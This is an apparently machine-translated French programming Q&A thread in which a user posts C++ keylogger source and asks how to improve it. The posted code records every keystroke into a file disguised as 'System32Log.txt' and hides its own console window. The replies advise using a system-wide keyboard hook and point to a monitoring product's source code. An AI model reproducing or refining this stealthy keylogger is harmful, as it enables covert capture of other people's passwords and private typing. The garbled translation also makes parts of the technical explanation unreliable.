Faire un Keylogger
Je voulais faire un petit keylogger sur mon propre pc, pour voir comment les frappes de travail avec le C++. J'ai trouvé un peu de code en ligne et juste modifié un peu mais je ne suis pas sûr de la façon de faire ce que je veux faire.
#include "stdafx.h"
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std;
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"System32Log.txt");
}
}
system ("PAUSE");
return 0;
}
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
Je veux le fixer en place à stocker correctement des trucs comme "." "," ou plus, mais je ne suis pas sûr car je ne suis pas familier avec les frappes de touche. Aussi, je voudrais ajouter quelque chose qui permettrait d'utiliser moins de CPU (actuellement de 25% sur mon i5), je devrais probablement utiliser le Sommeil(de la valeur), bien que je ne suis pas sûr de la valeur à aller pour.
- vous aurez besoin d'une approche différente de celle du programme que vous avez fourni pour qu'il utilise moins de CPU (il contient une boucle d'interrogation -, il devrait être dirigé par événement). Il est également difficile de savoir si vous voulez un système de clés à l'échelle enregistreur ou tout simplement pour un programme. Veuillez préciser.
- À l'échelle du système enregistreur de frappe qui enregistre toutes les entrées du clavier, et l'enregistre dans un fichier.
- N'ai pas regardé le code, mais à première vue ça a l'air prometteur. thetechnofreak.com/technofreak/keylogger-visual-c
- J'ai essayé, mais Il ne semble pas fonctionner et donne compliling erreurs.
- Le code que vous utilisez n'est pas quelque chose de bon à être une base d'un grave key-logger. Si vous cochez Kid Enregistreur (kidlogger.net/soft-andr-download.html), vous trouverez une bien meilleure source de code pour commencer et vous serez en mesure de voir comment vous connectez le clavier à l'aide d'une DLL (sans la DLL, il va consommer de l'énorme quantité de CPU). Il suffit de télécharger la version Windows. L'installer. Vous trouverez le code source dans le dossier du programme.
Vous devez vous connecter pour publier un commentaire.
De prendre un coup d'oeil à l'réponses ici et ici pour plus d'informations sur les fonctions de l'API windows sont appropriés pour votre travail.
L'idée de base est de définir un "Crochet" de la fonction sur le Clavier à l'aide de SetWindowsHookEx (Clavier oder Keyboard_LL - vous voudrez probablement le premier tout de même). Sur le déchargement de votre keyboardlogger, vous avez besoin de le décrocher. Après avoir mis le crochet, Windows va appeler la fonction de raccordement après chaque événement de clavier. Vous devez traiter (log quelque part) et puis vous appelez la prochaine Crochet avec CAllNextHook pour continuer le traitement de l'événement dans Windows. Vous aurez besoin d'une tente et de débogage de là.
Que c'est pour un hook global (le deuxième lien fournit de l'information dans MSDN). Recherche sur la fonction SetWindowsHookEx et d'essayer de comprendre les mécanismes derrière elle et vous allez bientôt réussir. Vous pouvez aussi affiner votre recherche sur stackoverflow à l'aide de "crochet" comme mot-clé dans votre recherche (par exemple, la lecture de ce ici)